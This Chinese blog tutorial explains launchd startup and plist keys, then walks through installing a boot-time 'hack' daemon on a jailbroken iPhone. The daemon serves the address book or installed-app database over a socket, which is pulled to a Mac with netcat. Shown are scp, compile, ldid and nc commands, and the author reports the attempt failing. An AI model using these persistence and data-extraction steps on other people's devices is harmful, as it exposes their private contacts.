咱们应当在一起,否则就太伤天害理啦。
——王小波《爱你就像爱生命》
简介
- 通过在iPhone上开启一个开机自启进程,读取用户手机通讯录数据库或者用户应用安装列表,写到标准输出。
- 开启一个Socket通信端口。
- 通过使用
NetCat将iPhone手机的指定ip端口数据以文件格式传输到Mac桌面上。 所有资料文件&工具在这里
了解更多:
了解一下OS X的启动原理
Mac下的启动服务主要有三个地方可配置:
- 系统偏好设置->帐户->登陆项
/System/Library/StartupItems和/Library/StartupItems/launchd系统初始化进程配置。- launchd是Mac OS下,用于初始化系统环境的关键进程。类似Linux下的init, rc。
启动过程
- mac固件激活,初始化硬件,加载BootX引导器。
- BootX加载内核与内核扩展(kext)。
- 内核启动launchd进程。
- launchd根据
/System/Library/LaunchAgents/System/Library/LaunchDaemons/Library/LaunchDaemonsLibrary/LaunchAgents~/Library/LaunchAgents里的plist配置,启动服务守护进程。
LaunchDaemons(后台驻留程序启动)是用户未登陆前就启动的服务(守护进程)
LaunchAgents(启动代理)是用户登陆后启动的服务(守护进程)
- 理解几个基础概念:
/System/Library和/Library和~/Library目录的区别?/System/Library目录是存放Apple自己开发的软件。/Library目录是系统管理员存放的第三方软件。~/Library/是用户自己存放的第三方软件。
几个目录下plist文件格式及每个字段的含义:
- 因为iOS和Mac都是基于Unix,所以启动过程基本是类似的。
| Label | The name of the job | yes |
| ProgramArguments | Strings to pass to the program when it is executed | yes |
| UserName | The job will be run as the given user, who may not necessarily be the one who submitted it to launchd. | no |
| inetdCompatibility | Indicates that the daemon expects to be run as if it were launched by inetd | no |
| Program | The path to your executable. This key can save the ProgramArguments key for flags and arguments. | no |
| onDemand | A boolean flag that defines if a job runs continuously or not | no |
| RootDirectory | The job will be?chrooted?into another directory | no |
| ServiceIPC | Whether the daemon can speak IPC to launchd | no |
| WatchPaths | Allows launchd to start a job based on modifications at a file-system path | no |
| QueueDirectories | Similar to WatchPath, a queue will only watch an empty directory for new files | no |
| StartInterval | Used to schedule a job that runs on a repeating schedule. Specified as the number of seconds to wait between runs. | no |
| StartCalendarInterval | Job scheduling. The syntax is similar to cron. | no |
| HardResourceLimits | Controls restriction of the resources consumed by any job | no |
| LowPriorityIO | Tells the kernel that this task is of a low priority when doing file system I/O | no |
| Sockets | An array can be used to specify what socket the daemon will listen on for launch on demand | no |
配置一个Hack通讯录进程的plist文件
- 我们需要通过一个plist文件在系统加载时候启动一个进程。
如:一个名为
hack的进程,该进程加载的可执行文件hack的路径是/usr/bin/hack。配置的plist如下:

- plist源码如下:
Program: 进程可执行文件加载路径StandardErrorPath:标准错误路径ProgramArguments: 用户登陆后启动的服务路径inetdCompatibility:是一个因特网超级服务器(即inetd守护进程)来简化守护进程的编写。SockServiceName: Socket通信端口名称
1 | <?xml version="1.0" encoding="UTF-8"?> |
- 将plist文件传送到至iPhone/System/Library/LaunchDaemons/ 下
1 | scp /Users/sevencho/Desktop/hack.plist root@192.168.1.60:/System/Library/LaunchDaemons/hack.plist |
读取通讯录 & 用户安装App列表 的执行程序
- 我们只要能拿出AddressBook.sqlitedb/itunesstored2.sqlitedb就可以拿到用户的数据。
- AddressBook的数据都在
/var/mobile/Library/AddressBook/AddressBook.sqlitedb中, - iTunes Store的数据都在
/var/mobile/Library/com.apple.itunesstored2.sqlitedb/itunesstored2.sqlitedb中,
- AddressBook的数据都在
- 写一个函数用于读取用户通讯录数据库或者用户安装App列表。
1 | // |
- 生成可执行文件
- 在
hack.c所在目录执行,也可以直接指定文件路径
- 在
1 | xcrun -sdk iphoneos clang -arch armv7s -o hack hack.c |
- 可执行文件签名,并传输至iPhone手机
/usr/bin目录
1 | ldid -S hack |
- 新开一个终端,SSH连接手机。
获取AddressBook & 用户安装App列表数据
- 利用
netcat,将指定服务端口的数据以文件的形式传输到电脑的当前目录下,抓取设备AddressBook或者 用户安装App列表信息。 55为之前plist文件配置的Socket服务名称。
1 | // 根据自己可执行程序路径,选择获取的数据类型 |
- 利用
netcat获取的addressBook.sqlitedb是空的。 - 使用如下指令监控下过程提示连接拒绝,但是
192.168.1.60是可以ping通的。 - 使用
ps aux指令查看所有启动的进程,貌似没有找到我们的hack进程。- 暂时还没有找到解决方法,大家可以一起帮忙排查原因。
1 | nc -v 192.168.1.60 55 |

- 如果文件有数据,可以使用
string命令查看文件内容
1 | strings itunesstored2.sqlitedb |